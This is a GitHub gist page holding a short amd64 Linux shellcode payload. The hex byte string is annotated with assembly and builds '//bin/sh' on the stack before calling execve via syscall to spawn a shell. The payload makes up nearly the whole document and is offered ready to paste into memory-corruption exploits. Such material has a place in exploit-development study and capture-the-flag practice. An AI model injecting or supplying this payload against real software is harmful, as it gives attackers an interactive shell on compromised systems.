Skip to content

Instantly share code, notes, and snippets.

@robd003
Created July 3, 2024 08:01
Show Gist options
  • Save robd003/e02dc90f8aa4e326b8ebdbdf718c4d1e to your computer and use it in GitHub Desktop.
Save robd003/e02dc90f8aa4e326b8ebdbdf718c4d1e to your computer and use it in GitHub Desktop.
amd64 /bin/sh shellcode
"\x48\x31\xc0" // xor %rax,%rax
"\x50" // push %rax
"\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68" // mov $0x68732f6e69622f2f, %rbx
"\x53" // push %rbx
"\x48\x89\xe7" // mov %rsp,%rdi
"\x50" // push %rax
"\x57" // push %rdi
"\x48\x89\xe6" // mov %rsp,%rsi
"\xb0\x3b" // mov $0x3b,%al
"\x0f\x05" // syscall
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment